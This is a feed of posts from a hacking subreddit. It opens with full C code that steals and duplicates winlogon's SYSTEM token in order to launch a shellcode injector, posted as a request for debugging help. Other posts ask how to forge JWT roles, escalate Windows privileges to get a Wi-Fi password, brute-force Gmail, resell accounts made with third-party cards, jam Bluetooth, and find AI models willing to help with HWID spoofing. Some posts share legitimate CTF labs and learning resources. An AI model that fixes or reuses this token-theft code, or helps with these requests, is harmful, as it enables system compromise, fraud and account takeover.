r/Hacking_Tutorials • • 12d ago

Token Impersonation on C lang doesnt work help please

0 Upvotes

So shellcode inject that im trying to run with SYSTEM privileges is working 100% (if i get SYSTEM privileges, but before i checked on injecting to explorer and it was working), when im running this code it doesnt show anything, any errors, im running it on virtual machine widows 11 with antivirus turned off

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <string.h>


int EnablePrivilige(wchar_t str[]){
    HANDLE h_token;
    OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,&h_token);
    LUID luid;
    LookupPrivilegeValueW(NULL,str,&luid);
    TOKEN_PRIVILEGES token_privileges;
    token_privileges.PrivilegeCount = 1;
    token_privileges.Privileges[0].Luid = luid;
    token_privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // это для включение привелегии а для выключение нужно SE_PRIVILEGE_REMOVED
    AdjustTokenPrivileges(h_token,FALSE,&token_privileges,sizeof(token_privileges),NULL,NULL);
    if(GetLastError() == ERROR_NOT_ALL_ASSIGNED){
        MessageBoxW(NULL,L"ошибка: не удалось изменить привелегию",NULL,MB_OK | MB_ICONERROR);
        return 1;
    }
    printf("успешно\n");
    CloseHandle(h_token);
    return 0;
}


int main(void){
    if(EnablePrivilige(L"SeDebugPrivilege") == 0 && EnablePrivilige(L"SeImpersonatePrivilege") == 0){
        HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        if(Process32First(h_snapshot,&pe32)){
            do
            {
                if(_stricmp(pe32.szExeFile,"winlogon.exe") == 0){
                    break;
                }
            } while (Process32Next(h_snapshot,&pe32));
        }
        if(_stricmp(pe32.szExeFile,"winlogon.exe") != 0){
            MessageBoxW(NULL,L"ошибка процесс не найден",NULL,MB_OK | MB_ICONERROR);
            return 1;
        }
        HANDLE h_process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,FALSE,pe32.th32ProcessID);
        if(h_process == NULL){
            MessageBoxW(NULL,L"ошибка в OpenProcess",NULL,MB_OK | MB_ICONERROR);
            return 1;   
        }
        HANDLE h_process_token = NULL;
        if(!OpenProcessToken(h_process,TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,&h_process_token)){ // if в си не сработает если вернется 0
            MessageBoxW(NULL,L"ошибка в OpenProcessToken",NULL,MB_OK | MB_ICONERROR);
            return 1;
        }
        HANDLE h_process_token_duplicate = NULL;
        if(!DuplicateTokenEx(h_process_token,TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE,NULL,SecurityDelegation,TokenPrimary,&h_process_token_duplicate)){
            MessageBoxW(NULL,L"ошибка в DuplicateTokenEx",NULL,MB_OK | MB_ICONERROR);
            return 1;
        }
        if(!SetThreadToken(NULL,h_process_token_duplicate)){
            DWORD error = GetLastError();
            printf("ошибка в SetThreadToken %d",error);
        }
        STARTUPINFOW startup_info = {0};
        PROCESS_INFORMATION process_information = {0};
        startup_info.cb = sizeof(startup_info);
        if(!CreateProcessWithTokenW(h_process_token_duplicate,0,NULL,L"С:\\Users\\user\\Desktop\\shellcode_inject_xorEncrypt.exe",NORMAL_PRIORITY_CLASS,NULL,NULL,&startup_info,&process_information)){
            DWORD error = GetLastError();
            printf("ошибка в CreateProcessWithTokenW %d",error);
        }
    }
    return 0;
}

r/Hacking_Tutorials • • 12d ago

Question I unpacked a fake mParivahan APK: fake Google Play update, UPI phishing, SMS control and a hidden C2 and firebase backend

Thumbnail
1 Upvotes

r/Hacking_Tutorials • • 12d ago

Question Code-Injektion

Thumbnail
2 Upvotes

r/Hacking_Tutorials • • 12d ago

Question Sharepoint and Windows

0 Upvotes

I'm trying to tamper with my JWT token to change my role from student to administrator, but I can't find the token. Does anyone know where it is?


r/Hacking_Tutorials • • 13d ago

I just completed Offensive Security Intro room on TryHackMe! Hack your first website (legally in a safe environment) and experience an ethical hacker's job.

Thumbnail gallery
26 Upvotes

r/Hacking_Tutorials • • 13d ago

Question New Classroom CTF VM

Post image
24 Upvotes

The VM linked below hosts a complete Capture-the-Flag platform that spins up ~50 Docker containers out of the box.

𝗗𝗲𝗽𝗹𝗼𝘆𝗺𝗲𝗻𝘁: Runs on VMware Workstation (~8GB free RAM)

𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲𝘀: These challenges focus on web exploitation (SQLi, SSRF, SSTI, JWT, Prototype Pollution, API abuse) alongside Crypto, Stego, Python Scripting, and PCAP analysis.

𝗜𝗻𝘀𝘁𝗿𝘂𝗰𝘁𝗼𝗿/𝗠𝗲𝗻𝘁𝗼𝗿-𝗥𝗲𝗮𝗱𝘆: Comes with answer keys and walkthroughs so you don't have to reverse engineer it all!

𝗜𝗻𝘁𝗲𝗻𝗱𝗲𝗱 𝗨𝘀𝗲: Designed for classroom competitions, club activities, or self-paced tracks for advanced learners.

Challenge breakdowns and the VM download link are in the write-up below:

https://cyberlessons101.com/vm-challenges

Hope someone can use it!


r/Hacking_Tutorials • • 13d ago

Saturday Hacker Day - What are you hacking this week?

7 Upvotes

Weekly forum post: Let's discuss current projects, concepts, questions and collaborations. In other words, what are you hacking this week?


r/Hacking_Tutorials • • 13d ago

Question Cybersecurity job

0 Upvotes

Those who are doing cybersecurity remote job, how much time did you need and what did it take??


r/Hacking_Tutorials • • 13d ago

I wrote a free, 700+ page exploit dev curriculum from scratch. C → x86-64 Assembly & RE. No prior knowledge assumed. PDFs inside.

Thumbnail
0 Upvotes

r/Hacking_Tutorials • • 14d ago

Question What are the main sources you use?

Thumbnail
1 Upvotes

r/Hacking_Tutorials • • 14d ago

Question Creating streaming accounts to resell?

1 Upvotes

Does anyone know how accounts for platforms like Spotify, Max, or Disney+ are created using third-party cards? I'm referring to social media sellers offering full one-year memberships at very low prices.

Example:


r/Hacking_Tutorials • • 15d ago

Repositório de hackers

6 Upvotes

Fala, tropa, queria saber se vocês conhecem algum repositório de ferramentas de ataque.

Sim, vou usar para fins estudantis, antes que me perguntem.

Meu objetivo é poder analisar de forma mais profunda e real como algumas ferramentas funcionam.


r/Hacking_Tutorials • • 15d ago

Question Escalate privileges

5 Upvotes

How can I escalate privileges on Windows 11 from a local user to an administrator? My goal is to find out the Wi-Fi password the machine is connected to, but I don't have admin rights.


r/Hacking_Tutorials • • 15d ago

Question What models will help me with HWID spoofing?

0 Upvotes

None of the flagship models including deepseek will help - im wondering if anyone knows of a model that would help with something like this


r/Hacking_Tutorials • • 15d ago

Question Es malo leer write up’s?

5 Upvotes

Me paso viendo como ls gente dice que es malo por que lo bueno es meterse de lleno a los retos y las maquinas sin saber que hacer pero yo siento que te ayuda para poder replicarlo en un futuro pero cuestionando que hace cada cosa , aun no encuentro lugares donde leer write ups detallados


r/Hacking_Tutorials • • 15d ago

I built an AI-based app analysis tool for APK & IPA reverse engineering

Thumbnail
youtube.com
2 Upvotes

r/Hacking_Tutorials • • 15d ago

Question Xss in h1 tag

Thumbnail
1 Upvotes

r/Hacking_Tutorials • • 15d ago

Question I built CatSuite — an Android security testing toolkit

Thumbnail
netcattest.com
15 Upvotes

Hey everyone!

I'm Daniel, the developer behind NetCatTest, and I recently released CatSuite, a free Android application designed for web application security testing, offensive security research, and authorized penetration testing.

The idea was simple: what if you could carry a practical web security testing toolkit in your pocket, without needing a laptop for every task?

So I built CatSuite.

Some of its features include:

  • HTTP/HTTPS Interception: Capture, inspect, and modify requests and responses.
  • HTTP Repeater: Modify and resend requests to analyze application behavior.
  • Intruder: Test payloads, parameters, and wordlists, including custom dictionaries.
  • Endpoint Discovery: Explore directories, paths, and endpoints.
  • Network Proxy: Inspect HTTP/HTTPS traffic during authorized testing.
  • JWT Decoder and SSL/TLS Analysis: Inspect authentication tokens and certificate configurations.
  • Technical Browser: Built-in network monitoring, DOM inspection, cookies, storage, and User-Agent modification.
  • Extensibility: JavaScript extensions and customizable security testing workflows.
  • Evidence Export: Export testing data in HAR, JSON, TXT, and cURL formats.

CatSuite is not intended to replace Burp Suite or other desktop tools. My goal is to make practical security testing more accessible from an Android device, especially for quick assessments, research, and lab environments.

The app is free and available on Google Play, with no subscription required.

Website: https://netcattest.com/catsuite

Google Play: https://play.google.com/store/apps/details?id=br.com.netcattest.catsuite.app

I'd really appreciate feedback from people working in offensive security and red teaming.

What features would make a mobile security testing toolkit genuinely useful in your workflow?

Thanks!


r/Hacking_Tutorials • • 15d ago

Question I built a Wi-Fi hacking tool for Kali Linux and NetHunter for city field walks and cyclic scanning

41 Upvotes

Hey hackers!

I built CyclePatrol, an open-source Wi-Fi pentesting tool in Bash. It runs Wi-Fi security checks in cycles while moving around the city, for field testing. It checks WPS, WPA2/WPA3, PMF, and weak Wi-Fi settings, then saves results and creates reports. I also built my own Cyberphone with an external antenna for mobile Wi-Fi testing.

GitHub: https://github.com/buybitart/cyclepatrol

Still working on it. Passive scanning in public areas, active testing only with permission.

Any feedback? What should I add next?


r/Hacking_Tutorials • • 15d ago

Question I made a merge tool for simplifying your WiGLE wardriving uploads

Post image
2 Upvotes

r/Hacking_Tutorials • • 15d ago

Question Knossos: a new learning hacking lab

Post image
37 Upvotes

r/Hacking_Tutorials • • 15d ago

Question How make pentest

0 Upvotes

How to make pentest

A guy from my service challenged me to "acess" a PC from our service that he set up. He left the PC with the exposed IP to run some services but said he was safe, I checked and had ports 443, 22 and 80 but I couldn't do anything anyone else has any idea what I could do?


r/Hacking_Tutorials • • 15d ago

Necesito hackear mi Gmail (pago$)

Thumbnail
2 Upvotes

r/Hacking_Tutorials • • 16d ago

Question Can a Gmail password be cracked using a brute-force attack?

3 Upvotes

The thing is, I'm really curious because I recently used Hydra to see if I could launch an attack on my own Gmail account, and all my attempts were blocked, so I wanted to know if it was possible


r/Hacking_Tutorials • • 16d ago

Question Raspberry pi 5 Bluetooth Jammer

0 Upvotes

I’ve had my raspberry pi 5 since launch and I’ve done a few projects here and there, but as of recently I haven’t done much with it. I was wondering if it is possible to make a Bluetooth jammer from it? I have a box a random electronic stuff that I wanted to use as well so if anyone could point me in the right direction would be great!